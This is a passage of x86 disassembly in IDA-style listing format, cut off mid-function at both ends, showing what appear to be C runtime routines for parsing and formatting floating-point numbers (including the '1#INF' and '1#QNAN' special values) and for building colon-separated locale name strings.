cmp [ebp+var_B0], 0
jz short loc_42EF7D
jmp short loc_42EF1F
; ---------------------------------------------------------------------------
loc_42EF7D: ; CODE XREF: sub_42E7F0+789j
mov [ebp+var_4C], 0Ah
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
jmp short loc_42EFF3
; ---------------------------------------------------------------------------
loc_42EF8F: ; CODE XREF: sub_42E7F0+D5j
; DATA XREF: .data:0042F236o
cmp [ebp+arg_18], 0
jz short loc_42EFE3
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_64], eax
mov cl, byte ptr [ebp+var_3C]
mov [ebp+var_B4], cl
cmp [ebp+var_B4], 2Bh
jz short loc_42EFCB
cmp [ebp+var_B4], 2Dh
jz short loc_42EFBB
jmp short loc_42EFD4
; ---------------------------------------------------------------------------
loc_42EFBB: ; CODE XREF: sub_42E7F0+7C7j
mov [ebp+var_4C], 7
mov [ebp+var_74], 0FFFFFFFFh
jmp short loc_42EFE1
; ---------------------------------------------------------------------------
loc_42EFCB: ; CODE XREF: sub_42E7F0+7BEj
mov [ebp+var_4C], 7
jmp short loc_42EFE1
; ---------------------------------------------------------------------------
loc_42EFD4: ; CODE XREF: sub_42E7F0+7C9j
mov [ebp+var_4C], 0Ah
mov edx, [ebp+var_64]
mov [ebp+var_4], edx
loc_42EFE1: ; CODE XREF: sub_42E7F0+7D9j
; sub_42E7F0+7E2j
jmp short loc_42EFF3
; ---------------------------------------------------------------------------
loc_42EFE3: ; CODE XREF: sub_42E7F0+7A3j
mov [ebp+var_4C], 0Ah
mov eax, [ebp+var_4]
sub eax, 1
mov [ebp+var_4], eax
loc_42EFF3: ; CODE XREF: sub_42E7F0+CCj
; sub_42E7F0+D5j ...
jmp loc_42E897
; ---------------------------------------------------------------------------
loc_42EFF8: ; CODE XREF: sub_42E7F0+ABj
mov ecx, [ebp+arg_4]
mov edx, [ebp+var_4]
mov [ecx], edx
cmp [ebp+var_54], 0
jz loc_42F147
cmp [ebp+var_40], 0
jnz loc_42F147
cmp [ebp+var_78], 0
jnz loc_42F147
cmp [ebp+var_70], 18h
jbe short loc_42F04F
movsx eax, [ebp+var_21]
cmp eax, 5
jl short loc_42F036
mov cl, [ebp+var_21]
add cl, 1
mov [ebp+var_21], cl
loc_42F036: ; CODE XREF: sub_42E7F0+83Bj
mov [ebp+var_70], 18h
mov edx, [ebp+var_68]
sub edx, 1
mov [ebp+var_68], edx
mov eax, [ebp+var_6C]
add eax, 1
mov [ebp+var_6C], eax
loc_42F04F: ; CODE XREF: sub_42E7F0+832j
cmp [ebp+var_70], 0
jbe loc_42F12A
mov ecx, [ebp+var_68]
sub ecx, 1
mov [ebp+var_68], ecx
jmp short loc_42F06D
; ---------------------------------------------------------------------------
loc_42F064: ; CODE XREF: sub_42E7F0+899j
mov edx, [ebp+var_68]
sub edx, 1
mov [ebp+var_68], edx
loc_42F06D: ; CODE XREF: sub_42E7F0+872j
mov eax, [ebp+var_68]
movsx ecx, byte ptr [eax]
test ecx, ecx
jnz short loc_42F08B
mov edx, [ebp+var_70]
sub edx, 1
mov [ebp+var_70], edx
mov eax, [ebp+var_6C]
add eax, 1
mov [ebp+var_6C], eax
jmp short loc_42F064
; ---------------------------------------------------------------------------
loc_42F08B: ; CODE XREF: sub_42E7F0+885j
lea ecx, [ebp+var_60]
push ecx
mov edx, [ebp+var_70]
push edx
lea eax, [ebp+var_38]
push eax
call sub_42E6B0
add esp, 0Ch
cmp [ebp+var_74], 0
jge short loc_42F0AD
mov ecx, [ebp+var_14]
neg ecx
mov [ebp+var_14], ecx
loc_42F0AD: ; CODE XREF: sub_42E7F0+8B3j
mov edx, [ebp+var_14]
add edx, [ebp+var_6C]
mov [ebp+var_14], edx
cmp [ebp+var_18], 0
jnz short loc_42F0C5
mov eax, [ebp+var_14]
add eax, [ebp+arg_10]
mov [ebp+var_14], eax
loc_42F0C5: ; CODE XREF: sub_42E7F0+8CAj
cmp [ebp+var_C], 0
jnz short loc_42F0D4
mov ecx, [ebp+var_14]
sub ecx, [ebp+arg_14]
mov [ebp+var_14], ecx
loc_42F0D4: ; CODE XREF: sub_42E7F0+8D9j
cmp [ebp+var_14], 1450h
jle short loc_42F0E6
mov [ebp+var_40], 1
jmp short loc_42F128
; ---------------------------------------------------------------------------
loc_42F0E6: ; CODE XREF: sub_42E7F0+8EBj
cmp [ebp+var_14], 0FFFFEBB0h
jge short loc_42F0F8
mov [ebp+var_78], 1
jmp short loc_42F128
; ---------------------------------------------------------------------------
loc_42F0F8: ; CODE XREF: sub_42E7F0+8FDj
mov edx, [ebp+arg_C]
push edx
mov eax, [ebp+var_14]
push eax
lea ecx, [ebp+var_60]
push ecx
call sub_431980
add esp, 0Ch
mov dx, [ebp+var_60]
mov [ebp+var_48], dx
mov eax, [ebp+var_5E]
mov [ebp+var_8], eax
mov ecx, [ebp+var_5A]
mov [ebp+var_10], ecx
mov dx, [ebp+var_56]
mov word ptr [ebp+var_50], dx
loc_42F128: ; CODE XREF: sub_42E7F0+8F4j
; sub_42E7F0+906j
jmp short loc_42F147
; ---------------------------------------------------------------------------
loc_42F12A: ; CODE XREF: sub_42E7F0+863j
mov [ebp+var_48], 0
mov word ptr [ebp+var_50], 0
mov eax, [ebp+var_50]
and eax, 0FFFFh
mov [ebp+var_10], eax
mov ecx, [ebp+var_10]
mov [ebp+var_8], ecx
loc_42F147: ; CODE XREF: sub_42E7F0+814j
; sub_42E7F0+81Ej ...
cmp [ebp+var_54], 0
jnz short loc_42F176
mov [ebp+var_48], 0
mov word ptr [ebp+var_50], 0
mov edx, [ebp+var_50]
and edx, 0FFFFh
mov [ebp+var_10], edx
mov eax, [ebp+var_10]
mov [ebp+var_8], eax
mov ecx, [ebp+var_44]
or ecx, 4
mov [ebp+var_44], ecx
jmp short loc_42F1CD
; ---------------------------------------------------------------------------
loc_42F176: ; CODE XREF: sub_42E7F0+95Bj
cmp [ebp+var_40], 0
jz short loc_42F1A1
mov word ptr [ebp+var_50], 7FFFh
mov [ebp+var_10], 80000000h
mov [ebp+var_8], 0
mov [ebp+var_48], 0
mov edx, [ebp+var_44]
or edx, 2
mov [ebp+var_44], edx
jmp short loc_42F1CD
; ---------------------------------------------------------------------------
loc_42F1A1: ; CODE XREF: sub_42E7F0+98Aj
cmp [ebp+var_78], 0
jz short loc_42F1CD
mov [ebp+var_48], 0
mov word ptr [ebp+var_50], 0
mov eax, [ebp+var_50]
and eax, 0FFFFh
mov [ebp+var_10], eax
mov ecx, [ebp+var_10]
mov [ebp+var_8], ecx
mov edx, [ebp+var_44]
or edx, 1
mov [ebp+var_44], edx
loc_42F1CD: ; CODE XREF: sub_42E7F0+984j
; sub_42E7F0+9AFj ...
mov eax, [ebp+arg_0]
mov cx, [ebp+var_48]
mov [eax], cx
mov edx, [ebp+arg_0]
mov eax, [ebp+var_8]
mov [edx+2], eax
mov ecx, [ebp+arg_0]
mov edx, [ebp+var_10]
mov [ecx+6], edx
mov eax, [ebp+var_50]
and eax, 0FFFFh
mov ecx, [ebp+var_1C]
and ecx, 0FFFFh
or eax, ecx
mov edx, [ebp+arg_0]
mov [edx+0Ah], ax
mov eax, [ebp+var_44]
mov esp, ebp
pop ebp
retn
sub_42E7F0 endp
; ---------------------------------------------------------------------------
off_42F20A dd offset loc_42E8CC ; DATA XREF: sub_42E7F0+D5r
dd offset loc_42E96A
dd offset loc_42EA20
dd offset loc_42EA8B
dd offset loc_42EBA3
dd offset loc_42ECD5
dd offset loc_42ED4B
dd offset loc_42EE30
dd offset loc_42EDD2
dd offset loc_42EE83
dd offset loc_42EFF3
dd offset loc_42EF8F
off_42F23A dd offset loc_42E9F9 ; DATA XREF: sub_42E7F0+1F0r
dd offset loc_42E9E7
dd offset loc_42E9F0
dd offset loc_42EA0B
byte_42F24A db 0 ; DATA XREF: sub_42E7F0+1EAr
db 3
dd 1030300h, 4 dup(3030303h), 2030303h, 3030302h, 6 dup(3030303h)
dd 2030303h
db 2
off_42F285 dd offset loc_42EB7C ; DATA XREF: sub_42E7F0+37Cr
dd offset loc_42EB73
dd offset loc_42EB8E
byte_42F291 db 0, 2, 0, 16h dup(2), 2 dup(1), 1Eh dup(2), 2 dup(1)
; DATA XREF: sub_42E7F0+376r
off_42F2CC dd offset loc_42ECAE ; DATA XREF: sub_42E7F0+4AEr
dd offset loc_42ECA5
dd offset loc_42ECC0
byte_42F2D8 db 0 ; DATA XREF: sub_42E7F0+4A8r
db 2, 0, 2
dd 5 dup(2020202h), 2010102h, 7 dup(2020202h), 0CC010102h
dd 3 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 14h
push 0
push 0
push 0
mov eax, [ebp+14h]
push eax
mov ecx, [ebp+10h]
push ecx
mov edx, [ebp+0Ch]
push edx
lea eax, [ebp-0Ch]
push eax
call sub_42E7F0
add esp, 1Ch
mov [ebp-14h], eax
mov ecx, [ebp+8]
push ecx
lea edx, [ebp-0Ch]
push edx
call sub_42B8F0
add esp, 8
mov [ebp-10h], eax
cmp dword ptr [ebp-10h], 1
jnz short loc_42F368
mov eax, [ebp-14h]
or al, 2
mov [ebp-14h], eax
loc_42F368: ; CODE XREF: .data:0042F35Ej
mov eax, [ebp-14h]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42F370 proc near ; CODE XREF: sub_42BB70+36p
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = word ptr -5Ch
var_58 = dword ptr -58h
var_54 = byte ptr -54h
var_53 = byte ptr -53h
var_52 = byte ptr -52h
var_51 = byte ptr -51h
var_50 = byte ptr -50h
var_4F = byte ptr -4Fh
var_4E = byte ptr -4Eh
var_4D = byte ptr -4Dh
var_4C = byte ptr -4Ch
var_4B = byte ptr -4Bh
var_4A = byte ptr -4Ah
var_49 = byte ptr -49h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_32 = dword ptr -32h
var_2E = dword ptr -2Eh
var_28 = byte ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = word ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = word ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 74h
mov word ptr [ebp+var_64], 4D10h
mov word ptr [ebp+var_3C], 4Dh
mov word ptr [ebp+var_60], 9Ah
mov [ebp+var_20], 134312F4h
mov [ebp+var_54], 0CCh
mov [ebp+var_53], 0CCh
mov [ebp+var_52], 0CCh
mov [ebp+var_51], 0CCh
mov [ebp+var_50], 0CCh
mov [ebp+var_4F], 0CCh
mov [ebp+var_4E], 0CCh
mov [ebp+var_4D], 0CCh
mov [ebp+var_4C], 0CCh
mov [ebp+var_4B], 0CCh
mov [ebp+var_4A], 0FBh
mov [ebp+var_49], 3Fh
mov [ebp+var_58], 1
mov ax, [ebp+arg_8]
mov word ptr [ebp+var_70], ax
mov ecx, [ebp+arg_4]
mov [ebp+var_24], ecx
mov edx, [ebp+arg_0]
mov [ebp+var_48], edx
mov eax, [ebp+var_70]
and eax, 0FFFFh
and eax, 8000h
mov word ptr [ebp+var_68], ax
mov cx, word ptr [ebp+var_70]
and cx, 7FFFh
mov word ptr [ebp+var_70], cx
mov edx, [ebp+var_68]
and edx, 0FFFFh
test edx, edx
jz short loc_42F40E
mov eax, [ebp+arg_14]
mov byte ptr [eax+2], 2Dh
jmp short loc_42F415
; ---------------------------------------------------------------------------
loc_42F40E: ; CODE XREF: sub_42F370+93j
mov ecx, [ebp+arg_14]
mov byte ptr [ecx+2], 20h
loc_42F415: ; CODE XREF: sub_42F370+9Cj
mov edx, [ebp+var_70]
and edx, 0FFFFh
test edx, edx
jnz short loc_42F45C
cmp [ebp+var_24], 0
jnz short loc_42F45C
cmp [ebp+var_48], 0
jnz short loc_42F45C
mov eax, [ebp+arg_14]
mov word ptr [eax], 0
mov ecx, [ebp+arg_14]
mov byte ptr [ecx+2], 20h
mov edx, [ebp+arg_14]
mov byte ptr [edx+3], 1
mov eax, [ebp+arg_14]
mov byte ptr [eax+4], 30h
mov ecx, [ebp+arg_14]
mov byte ptr [ecx+5], 0
mov eax, 1
jmp loc_42F882
; ---------------------------------------------------------------------------
loc_42F45C: ; CODE XREF: sub_42F370+B0j
; sub_42F370+B6j ...
mov edx, [ebp+var_70]
and edx, 0FFFFh
cmp edx, 7FFFh
jnz loc_42F556
mov eax, [ebp+arg_14]
mov word ptr [eax], 1
cmp [ebp+var_24], 80000000h
jnz short loc_42F488
cmp [ebp+var_48], 0
jz short loc_42F4BC
loc_42F488: ; CODE XREF: sub_42F370+110j
mov ecx, [ebp+var_24]
and ecx, 40000000h
test ecx, ecx
jnz short loc_42F4BC
push offset a1Snan ; "1#SNAN"
mov edx, [ebp+arg_14]
add edx, 4
push edx
call sub_418870
add esp, 8
mov eax, [ebp+arg_14]
mov byte ptr [eax+3], 6
mov [ebp+var_58], 0
jmp loc_42F551
; ---------------------------------------------------------------------------
loc_42F4BC: ; CODE XREF: sub_42F370+116j
; sub_42F370+123j
mov ecx, [ebp+var_68]
and ecx, 0FFFFh
test ecx, ecx
jz short loc_42F4FC
cmp [ebp+var_24], 0C0000000h
jnz short loc_42F4FC
cmp [ebp+var_48], 0
jnz short loc_42F4FC
push offset a1Ind ; "1#IND"
mov edx, [ebp+arg_14]
add edx, 4
push edx
call sub_418870
add esp, 8
mov eax, [ebp+arg_14]
mov byte ptr [eax+3], 5
mov [ebp+var_58], 0
jmp short loc_42F551
; ---------------------------------------------------------------------------
loc_42F4FC: ; CODE XREF: sub_42F370+157j
; sub_42F370+160j ...
cmp [ebp+var_24], 80000000h
jnz short loc_42F52F
cmp [ebp+var_48], 0
jnz short loc_42F52F
push offset a1Inf ; "1#INF"
mov ecx, [ebp+arg_14]
add ecx, 4
push ecx
call sub_418870
add esp, 8
mov edx, [ebp+arg_14]
mov byte ptr [edx+3], 5
mov [ebp+var_58], 0
jmp short loc_42F551
; ---------------------------------------------------------------------------
loc_42F52F: ; CODE XREF: sub_42F370+193j
; sub_42F370+199j
push offset a1Qnan ; "1#QNAN"
mov eax, [ebp+arg_14]
add eax, 4
push eax
call sub_418870
add esp, 8
mov ecx, [ebp+arg_14]
mov byte ptr [ecx+3], 6
mov [ebp+var_58], 0
loc_42F551: ; CODE XREF: sub_42F370+147j
; sub_42F370+18Aj ...
jmp loc_42F87F
; ---------------------------------------------------------------------------
loc_42F556: ; CODE XREF: sub_42F370+FBj
mov edx, [ebp+var_70]
and edx, 0FFFFh
sar edx, 8
mov word ptr [ebp+var_6C], dx
mov eax, [ebp+var_70]
and eax, 0FFFFh
and eax, 0FFh
mov [ebp+var_C], ax
mov ecx, [ebp+var_24]
shr ecx, 18h
mov word ptr [ebp+var_40], cx
mov edx, [ebp+var_64]
and edx, 0FFFFh
mov eax, [ebp+var_70]
and eax, 0FFFFh
imul edx, eax
mov ecx, [ebp+var_3C]
and ecx, 0FFFFh
mov eax, [ebp+var_6C]
and eax, 0FFFFh
imul ecx, eax
add edx, ecx
mov ecx, [ebp+var_60]
and ecx, 0FFFFh
mov eax, [ebp+var_40]
and eax, 0FFFFh
imul ecx, eax
add edx, ecx
sub edx, [ebp+var_20]
mov [ebp+var_8], edx
mov ecx, [ebp+var_8]
sar ecx, 10h
mov [ebp+var_5C], cx
mov dx, word ptr [ebp+var_70]
mov word ptr [ebp+var_2E], dx
mov eax, [ebp+var_24]
mov [ebp+var_32], eax
mov ecx, [ebp+var_48]
mov [ebp+var_38+2], ecx
mov word ptr [ebp+var_38], 0
push 1
movsx edx, [ebp+var_5C]
neg edx
push edx
lea eax, [ebp+var_38]
push eax
call sub_431980
add esp, 0Ch
mov ecx, [ebp+var_2E]
and ecx, 0FFFFh
cmp ecx, 3FFFh
jl short loc_42F62D
mov dx, [ebp+var_5C]
add dx, 1
mov [ebp+var_5C], dx
lea eax, [ebp+var_54]
push eax
lea ecx, [ebp+var_38]
push ecx
call sub_431540
add esp, 8
loc_42F62D: ; CODE XREF: sub_42F370+29Fj
mov edx, [ebp+arg_14]
mov ax, [ebp+var_5C]
mov [edx], ax
mov ecx, [ebp+arg_10]
and ecx, 1
test ecx, ecx
jz short loc_42F681
movsx edx, [ebp+var_5C]
mov eax, [ebp+arg_C]
add eax, edx
mov [ebp+arg_C], eax
cmp [ebp+arg_C], 0
jg short loc_42F681
mov ecx, [ebp+arg_14]
mov word ptr [ecx], 0
mov edx, [ebp+arg_14]
mov byte ptr [edx+2], 20h
mov eax, [ebp+arg_14]
mov byte ptr [eax+3], 1
mov ecx, [ebp+arg_14]
mov byte ptr [ecx+4], 30h
mov edx, [ebp+arg_14]
mov byte ptr [edx+5], 0
mov eax, 1
jmp loc_42F882
; ---------------------------------------------------------------------------
loc_42F681: ; CODE XREF: sub_42F370+2CFj
; sub_42F370+2E1j
cmp [ebp+arg_C], 15h
jle short loc_42F68E
mov [ebp+arg_C], 15h
loc_42F68E: ; CODE XREF: sub_42F370+315j
mov eax, [ebp+var_2E]
and eax, 0FFFFh
sub eax, 3FFEh
mov [ebp+var_2E+2], eax
mov word ptr [ebp+var_2E], 0
mov [ebp+var_44], 0
jmp short loc_42F6B6
; ---------------------------------------------------------------------------
loc_42F6AD: ; CODE XREF: sub_42F370+358j
mov ecx, [ebp+var_44]
add ecx, 1
mov [ebp+var_44], ecx
loc_42F6B6: ; CODE XREF: sub_42F370+33Bj
cmp [ebp+var_44], 8
jge short loc_42F6CA
lea edx, [ebp+var_38]
push edx
call sub_42E5E0
add esp, 4
jmp short loc_42F6AD
; ---------------------------------------------------------------------------
loc_42F6CA: ; CODE XREF: sub_42F370+34Aj
cmp [ebp+var_2E+2], 0
jge short loc_42F6FC
mov eax, [ebp+var_2E+2]
neg eax
and eax, 0FFh
mov [ebp+var_74], eax
jmp short loc_42F6E8
; ---------------------------------------------------------------------------
loc_42F6DF: ; CODE XREF: sub_42F370+38Aj
mov ecx, [ebp+var_74]
sub ecx, 1
mov [ebp+var_74], ecx
loc_42F6E8: ; CODE XREF: sub_42F370+36Dj
cmp [ebp+var_74], 0
jle short loc_42F6FC
lea edx, [ebp+var_38]
push edx
call sub_42E640
add esp, 4
jmp short loc_42F6DF
; ---------------------------------------------------------------------------
loc_42F6FC: ; CODE XREF: sub_42F370+35Ej
; sub_42F370+37Cj
mov eax, [ebp+arg_14]
add eax, 4
mov [ebp+var_4], eax
mov ecx, [ebp+arg_C]
add ecx, 1
mov [ebp+var_10], ecx
jmp short loc_42F719
; ---------------------------------------------------------------------------
loc_42F710: ; CODE XREF: sub_42F370+413j
mov edx, [ebp+var_10]
sub edx, 1
mov [ebp+var_10], edx
loc_42F719: ; CODE XREF: sub_42F370+39Ej
cmp [ebp+var_10], 0
jle short loc_42F785
mov eax, [ebp+var_38]
mov [ebp+var_1C], eax
mov ecx, [ebp-34h]
mov [ebp+var_18], ecx
mov edx, [ebp+var_32+2]
mov [ebp+var_14], edx
lea eax, [ebp+var_38]
push eax
call sub_42E5E0
add esp, 4
lea ecx, [ebp+var_38]
push ecx
call sub_42E5E0
add esp, 4
lea edx, [ebp+var_1C]
push edx
lea eax, [ebp+var_38]
push eax
call sub_42E530
add esp, 8
lea ecx, [ebp+var_38]
push ecx
call sub_42E5E0
add esp, 4
mov edx, [ebp+var_2E+1]
and edx, 0FFh
add edx, 30h
mov eax, [ebp+var_4]
mov [eax], dl
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov byte ptr [ebp+var_2E+1], 0
jmp short loc_42F710
; ---------------------------------------------------------------------------
loc_42F785: ; CODE XREF: sub_42F370+3ADj
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
mov eax, [ebp+var_4]
mov cl, [eax]
mov [ebp+var_28], cl
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
movsx eax, [ebp+var_28]
cmp eax, 35h
jl short loc_42F803
jmp short loc_42F7B3
; ---------------------------------------------------------------------------
loc_42F7AA: ; CODE XREF: sub_42F370+45Fj
mov ecx, [ebp+var_4]
sub ecx, 1
mov [ebp+var_4], ecx
loc_42F7B3: ; CODE XREF: sub_42F370+438j
mov edx, [ebp+arg_14]
add edx, 4
cmp [ebp+var_4], edx
jb short loc_42F7D1
mov eax, [ebp+var_4]
movsx ecx, byte ptr [eax]
cmp ecx, 39h
jnz short loc_42F7D1
mov edx, [ebp+var_4]
mov byte ptr [edx], 30h
jmp short loc_42F7AA
; ---------------------------------------------------------------------------
loc_42F7D1: ; CODE XREF: sub_42F370+44Cj
; sub_42F370+457j
mov eax, [ebp+arg_14]
add eax, 4
cmp [ebp+var_4], eax
jnb short loc_42F7F5
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+arg_14]
mov ax, [edx]
add ax, 1
mov ecx, [ebp+arg_14]
mov [ecx], ax
loc_42F7F5: ; CODE XREF: sub_42F370+46Aj
mov edx, [ebp+var_4]
mov al, [edx]
add al, 1
mov ecx, [ebp+var_4]
mov [ecx], al
jmp short loc_42F85C
; ---------------------------------------------------------------------------
loc_42F803: ; CODE XREF: sub_42F370+436j
jmp short loc_42F80E
; ---------------------------------------------------------------------------
loc_42F805: ; CODE XREF: sub_42F370+4B4j
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
loc_42F80E: ; CODE XREF: sub_42F370:loc_42F803j
mov eax, [ebp+arg_14]
add eax, 4
cmp [ebp+var_4], eax
jb short loc_42F826
mov ecx, [ebp+var_4]
movsx edx, byte ptr [ecx]
cmp edx, 30h
jnz short loc_42F826
jmp short loc_42F805
; ---------------------------------------------------------------------------
loc_42F826: ; CODE XREF: sub_42F370+4A7j
; sub_42F370+4B2j
mov eax, [ebp+arg_14]
add eax, 4
cmp [ebp+var_4], eax
jnb short loc_42F85C
mov ecx, [ebp+arg_14]
mov word ptr [ecx], 0
mov edx, [ebp+arg_14]
mov byte ptr [edx+2], 20h
mov eax, [ebp+arg_14]
mov byte ptr [eax+3], 1
mov ecx, [ebp+arg_14]
mov byte ptr [ecx+4], 30h
mov edx, [ebp+arg_14]
mov byte ptr [edx+5], 0
mov eax, 1
jmp short loc_42F882
; ---------------------------------------------------------------------------
loc_42F85C: ; CODE XREF: sub_42F370+491j
; sub_42F370+4BFj
mov eax, [ebp+arg_14]
add eax, 4
mov ecx, [ebp+var_4]
sub ecx, eax
add ecx, 1
mov edx, [ebp+arg_14]
mov [edx+3], cl
mov eax, [ebp+arg_14]
movsx ecx, byte ptr [eax+3]
mov edx, [ebp+arg_14]
mov byte ptr [edx+ecx+4], 0
loc_42F87F: ; CODE XREF: sub_42F370:loc_42F551j
mov eax, [ebp+var_58]
loc_42F882: ; CODE XREF: sub_42F370+E7j
; sub_42F370+30Cj ...
mov esp, ebp
pop ebp
retn
sub_42F370 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 14h
push esi
mov eax, off_4482A8
mov [ebp-0Ch], eax
mov dword ptr [ebp-8], 0
mov dword ptr [ebp-10h], 0
jmp short loc_42F8B8
; ---------------------------------------------------------------------------
loc_42F8AF: ; CODE XREF: .data:0042F8EFj
mov ecx, [ebp-10h]
add ecx, 1
mov [ebp-10h], ecx
loc_42F8B8: ; CODE XREF: .data:0042F8ADj
cmp dword ptr [ebp-10h], 7
jnb short loc_42F8F1
mov edx, [ebp-10h]
mov eax, [ebp-0Ch]
mov ecx, [eax+edx*4]
push ecx
call sub_414EC0
add esp, 4
mov esi, eax
mov edx, [ebp-10h]
mov eax, [ebp-0Ch]
mov ecx, [eax+edx*4+1Ch]
push ecx
call sub_414EC0
add esp, 4
add eax, [ebp-8]
lea edx, [eax+esi+2]
mov [ebp-8], edx
jmp short loc_42F8AF
; ---------------------------------------------------------------------------
loc_42F8F1: ; CODE XREF: .data:0042F8BCj
mov eax, [ebp-8]
add eax, 1
push eax
call sub_415090
add esp, 4
mov [ebp-4], eax
cmp dword ptr [ebp-4], 0
jz loc_42F9A9
mov ecx, [ebp-4]
mov [ebp-14h], ecx
mov dword ptr [ebp-10h], 0
jmp short loc_42F925
; ---------------------------------------------------------------------------
loc_42F91C: ; CODE XREF: .data:0042F998j
mov edx, [ebp-10h]
add edx, 1
mov [ebp-10h], edx
loc_42F925: ; CODE XREF: .data:0042F91Aj
cmp dword ptr [ebp-10h], 7
jnb short loc_42F99A
mov eax, [ebp-14h]
mov byte ptr [eax], 3Ah
mov ecx, [ebp-14h]
add ecx, 1
mov [ebp-14h], ecx
mov edx, [ebp-10h]
mov eax, [ebp-0Ch]
mov ecx, [eax+edx*4]
push ecx
mov edx, [ebp-14h]
push edx
call sub_418870
add esp, 8
push eax
call sub_414EC0
add esp, 4
mov ecx, [ebp-14h]
add ecx, eax
mov [ebp-14h], ecx
mov edx, [ebp-14h]
mov byte ptr [edx], 3Ah
mov eax, [ebp-14h]
add eax, 1
mov [ebp-14h], eax
mov ecx, [ebp-10h]
mov edx, [ebp-0Ch]
mov eax, [edx+ecx*4+1Ch]
push eax
mov ecx, [ebp-14h]
push ecx
call sub_418870
add esp, 8
push eax
call sub_414EC0
add esp, 4
mov edx, [ebp-14h]
add edx, eax
mov [ebp-14h], edx
jmp short loc_42F91C
; ---------------------------------------------------------------------------
loc_42F99A: ; CODE XREF: .data:0042F929j
mov eax, [ebp-14h]
mov byte ptr [eax], 0
mov ecx, [ebp-14h]
add ecx, 1
mov [ebp-14h], ecx
loc_42F9A9: ; CODE XREF: .data:0042F907j
mov eax, [ebp-4]
pop esi
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 14h
push esi
mov eax, off_4482A8
mov [ebp-0Ch], eax
mov dword ptr [ebp-8], 0
mov dword ptr [ebp-10h], 0
jmp short loc_42F9E8
; ---------------------------------------------------------------------------
loc_42F9DF: ; CODE XREF: .data:0042FA20j
mov ecx, [ebp-10h]
add ecx, 1
mov [ebp-10h], ecx
loc_42F9E8: ; CODE XREF: .data:0042F9DDj
cmp dword ptr [ebp-10h], 0Ch
jnb short loc_42FA22
mov edx, [ebp-10h]
mov eax, [ebp-0Ch]
mov ecx, [eax+edx*4+38h]
push ecx
call sub_414EC0
add esp, 4
mov esi, eax
mov edx, [ebp-10h]
mov eax, [ebp-0Ch]
mov ecx, [eax+edx*4+68h]
push ecx
call sub_414EC0
add esp, 4
add eax, [ebp-8]
lea edx, [eax+esi+2]
mov [ebp-8], edx
jmp short loc_42F9DF
; ---------------------------------------------------------------------------
loc_42FA22: ; CODE XREF: .data:0042F9ECj
mov eax, [ebp-8]
add eax, 1
push eax
call sub_415090
add esp, 4
mov [ebp-4], eax
cmp dword ptr [ebp-4], 0
jz loc_42FADB
mov ecx, [ebp-4]
mov [ebp-14h], ecx
mov dword ptr [ebp-10h], 0
jmp short loc_42FA56
; ---------------------------------------------------------------------------
loc_42FA4D: ; CODE XREF: .data:0042FACAj
mov edx, [ebp-10h]
add edx, 1
mov [ebp-10h], edx
loc_42FA56: ; CODE XREF: .data:0042FA4Bj
cmp dword ptr [ebp-10h], 0Ch
jnb short loc_42FACC
mov eax, [ebp-14h]
mov byte ptr [eax], 3Ah
mov ecx, [ebp-14h]
add ecx, 1
mov [ebp-14h], ecx
mov edx, [ebp-10h]
mov eax, [ebp-0Ch]
mov ecx, [eax+edx*4+38h]
push ecx
mov edx, [ebp-14h]
push edx
call sub_418870
add esp, 8
push eax
call sub_414EC0
add esp, 4
mov ecx, [ebp-14h]
add ecx, eax
mov [ebp-14h], ecx
mov edx, [ebp-14h]
mov byte ptr [edx], 3Ah
mov eax, [ebp-14h]
add eax, 1
mov [ebp-14h], eax
mov ecx, [ebp-10h]
mov edx, [ebp-0Ch]
mov eax, [edx+ecx*4+68h]
push eax
mov ecx, [ebp-14h]
push ecx
call sub_418870
add esp, 8
push eax
call sub_414EC0
add esp, 4
mov edx, [ebp-14h]
add edx, eax
mov [ebp-14h], edx
jmp short loc_42FA4D
; ---------------------------------------------------------------------------
loc_42FACC: ; CODE XREF: .data:0042FA5Aj
mov eax, [ebp-14h]
mov byte ptr [eax], 0
mov ecx, [ebp-14h]
add ecx, 1
mov [ebp-14h], ecx
loc_42FADB: ; CODE XREF: .data:0042FA38j
mov eax, [ebp-4]
pop esi
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 18h
push esi
mov eax, off_4482A8
mov [ebp-0Ch], eax
mov dword ptr [ebp-8], 0
mov dword ptr [ebp-10h], 0
jmp short loc_42FB18
; ---------------------------------------------------------------------------
loc_42FB0F: ; CODE XREF: .data:0042FB4Fj
mov ecx, [ebp-10h]
add ecx, 1
mov [ebp-10h], ecx
loc_42FB18: ; CODE XREF: .data:0042FB0Dj
cmp dword ptr [ebp-10h], 7
jnb short loc_42FB51
mov edx, [ebp-10h]
mov eax, [ebp-0Ch]
mov ecx, [eax+edx*4]
push ecx
call sub_414EC0
add esp, 4
mov esi, eax
mov edx, [ebp-10h]
mov eax, [ebp-0Ch]
mov ecx, [eax+edx*4+1Ch]
push ecx
call sub_414EC0
add esp, 4
add eax, [ebp-8]
lea edx, [eax+esi+2]
mov [ebp-8], edx
